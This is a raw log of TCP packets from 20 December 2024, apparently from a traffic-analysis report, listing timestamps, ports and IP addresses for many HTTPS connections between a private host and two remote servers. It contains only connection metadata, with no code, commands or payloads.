Dec 20, 2024 20:31:40.414391041 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.414432049 CET	49734	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.546818972 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.546838045 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.546922922 CET	49734	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.546948910 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.547029018 CET	49734	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.547727108 CET	49734	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.547784090 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.551784039 CET	49750	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.551888943 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.551978111 CET	49750	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.552191019 CET	49750	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.552227974 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.584201097 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.584337950 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.584424973 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.584867001 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.584901094 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.619767904 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.620116949 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.620150089 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.620640039 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.620934010 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.621021986 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.621057034 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.621076107 CET	443	49747	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.621227980 CET	49747	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.621248960 CET	443	49747	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.621581078 CET	443	49747	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.621844053 CET	49747	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.621901989 CET	443	49747	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.622158051 CET	49747	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.663336039 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.663362980 CET	443	49747	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.673981905 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.834156036 CET	443	49745	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.834222078 CET	443	49745	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.834274054 CET	443	49745	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.834292889 CET	443	49745	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.834319115 CET	49745	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.834342003 CET	443	49745	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.834372044 CET	49745	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.834383011 CET	49745	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.834409952 CET	443	49745	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.834569931 CET	443	49745	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.834624052 CET	49745	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.835496902 CET	49745	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.835516930 CET	443	49745	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.850053072 CET	49752	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.850147009 CET	443	49752	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:40.850224972 CET	49752	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.850986958 CET	49752	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:40.851027012 CET	443	49752	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:41.540704012 CET	443	49747	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:41.540898085 CET	443	49747	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:41.540958881 CET	49747	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:41.540992975 CET	443	49747	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:41.541012049 CET	49747	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:41.541012049 CET	49747	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:41.541043043 CET	49747	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:41.990345001 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:41.990969896 CET	49750	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:41.991019011 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:41.991378069 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:41.992058992 CET	49750	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:41.992141962 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:41.993311882 CET	49750	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.001719952 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.001971960 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.002053022 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.003122091 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.003457069 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.003602028 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.003614902 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.003657103 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.035362005 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.055563927 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.109258890 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.109330893 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.109354019 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.109375000 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.109415054 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.109415054 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.109438896 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.109463930 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.109469891 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.109484911 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.109507084 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.154040098 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.224339962 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.224381924 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.224435091 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.224450111 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.224483013 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.224493027 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.224507093 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.224520922 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.224546909 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.271178961 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.271255970 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.271331072 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.271368980 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.271399975 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.271425962 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.286479950 CET	443	49752	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.298058033 CET	49752	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.298124075 CET	443	49752	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.301794052 CET	443	49752	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.302025080 CET	49752	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.361814022 CET	49752	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.362020016 CET	49752	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.362042904 CET	443	49752	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.362090111 CET	443	49752	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.403091908 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.403129101 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.403198004 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.403244019 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.403266907 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.403350115 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.407011032 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.407073021 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.411377907 CET	49752	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.411453962 CET	443	49752	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.434770107 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.434833050 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.434875011 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.434899092 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.434926987 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.434953928 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.458327055 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.458384037 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.458430052 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.458446026 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.458483934 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.458507061 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.465574026 CET	49752	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.606812000 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.606856108 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.606909037 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.606976986 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.607000113 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.607072115 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.618588924 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.618686914 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.618726969 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.618772030 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.618827105 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.618973970 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.618993998 CET	443	49746	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:42.619009018 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:42.619045019 CET	49746	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.443212986 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.443265915 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.443284988 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.443361044 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.443443060 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.443932056 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.448146105 CET	443	49752	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.449666977 CET	443	49752	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.455291986 CET	49752	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.455401897 CET	49752	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.455465078 CET	443	49752	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.558322906 CET	49753	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.558378935 CET	443	49753	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.558470964 CET	49753	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.558772087 CET	49753	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.558784008 CET	443	49753	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.595310926 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.595335960 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.595350027 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.595417976 CET	49750	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.595444918 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.595490932 CET	49750	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.631231070 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.631325960 CET	49750	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.631331921 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.631370068 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.631397963 CET	49750	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.631424904 CET	49750	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.655483961 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.655533075 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.655585051 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.655603886 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.655631065 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.655651093 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.655674934 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.655689001 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.655724049 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.655745983 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.655884981 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.682404041 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.682420969 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.682478905 CET	49750	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.682502031 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.682559967 CET	49750	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.702903032 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.702965975 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.703016043 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.703058004 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.703087091 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.703111887 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.809122086 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.809144020 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.809207916 CET	49750	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.809235096 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.809293985 CET	49750	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.813549995 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.813632965 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.813680887 CET	49750	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.813886881 CET	49750	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.813904047 CET	443	49750	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.897537947 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.897624016 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.897644043 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.897687912 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.897716999 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.900986910 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.914823055 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.914880991 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.914921045 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.914936066 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.915241957 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.941427946 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.941512108 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.941556931 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.941572905 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.941617012 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.941636086 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.972117901 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.972177982 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.972230911 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.972245932 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:43.972306013 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:43.972332001 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:44.083637953 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:44.083704948 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:44.083776951 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:44.083798885 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:44.083832026 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:44.083870888 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:44.088099003 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:44.088197947 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:44.088227034 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:44.088340044 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:44.088407040 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:44.090538025 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:44.090578079 CET	443	49751	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:44.090600014 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:44.091260910 CET	49751	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:44.113727093 CET	49754	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:44.113768101 CET	443	49754	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:44.113842964 CET	49754	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:44.114147902 CET	49754	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:44.114164114 CET	443	49754	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:44.115921021 CET	49755	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:44.115968943 CET	443	49755	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:44.116053104 CET	49755	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:44.116291046 CET	49756	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:44.116355896 CET	443	49756	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:44.116882086 CET	49755	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:44.116897106 CET	443	49755	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:44.116933107 CET	49756	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:44.117074013 CET	49756	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:44.117089033 CET	443	49756	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:44.120552063 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:44.120639086 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:44.120814085 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:44.120949984 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:44.120985985 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:44.823225021 CET	49758	443	192.168.2.8	142.250.181.132
Dec 20, 2024 20:31:44.823328972 CET	443	49758	142.250.181.132	192.168.2.8
Dec 20, 2024 20:31:44.823412895 CET	49758	443	192.168.2.8	142.250.181.132
Dec 20, 2024 20:31:44.823921919 CET	49758	443	192.168.2.8	142.250.181.132
Dec 20, 2024 20:31:44.823956013 CET	443	49758	142.250.181.132	192.168.2.8
Dec 20, 2024 20:31:44.996354103 CET	443	49753	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.009406090 CET	49753	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.009423971 CET	443	49753	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.010919094 CET	443	49753	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.011986971 CET	49753	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.012203932 CET	443	49753	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.012830019 CET	49753	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.059333086 CET	443	49753	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.511600018 CET	443	49756	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.513484955 CET	49756	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.513566017 CET	443	49756	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.514571905 CET	443	49756	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.514693975 CET	49756	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.514906883 CET	49756	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.514975071 CET	443	49756	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.515053988 CET	49756	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.515775919 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.517729044 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.517802000 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.518162012 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.518567085 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.518585920 CET	443	49754	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.518652916 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.518711090 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.518848896 CET	49754	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.518913031 CET	443	49754	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.520108938 CET	443	49754	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.520447016 CET	49754	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.520549059 CET	49754	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.520560980 CET	443	49754	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.520626068 CET	443	49754	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.555366039 CET	443	49756	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.559341908 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.566405058 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.566407919 CET	49754	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.566410065 CET	49756	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.566442013 CET	443	49756	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.612068892 CET	49756	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.757169008 CET	443	49755	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.759512901 CET	49755	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.759536028 CET	443	49755	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.759999990 CET	443	49755	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.768289089 CET	49755	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.768431902 CET	49755	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.768439054 CET	443	49755	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.768464088 CET	443	49755	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.821556091 CET	49755	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.989049911 CET	443	49753	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.989156008 CET	443	49753	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:45.989289999 CET	49753	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.989429951 CET	49753	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:45.989460945 CET	443	49753	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.391629934 CET	443	49756	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.391658068 CET	443	49756	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.391665936 CET	443	49756	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.391771078 CET	49756	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.391832113 CET	443	49756	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.391881943 CET	443	49756	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.391940117 CET	49756	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.391941071 CET	49756	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.392801046 CET	49756	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.392843962 CET	443	49756	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.393532991 CET	443	49754	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.396488905 CET	49759	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.396586895 CET	443	49759	159.89.96.140	192.168.2.8
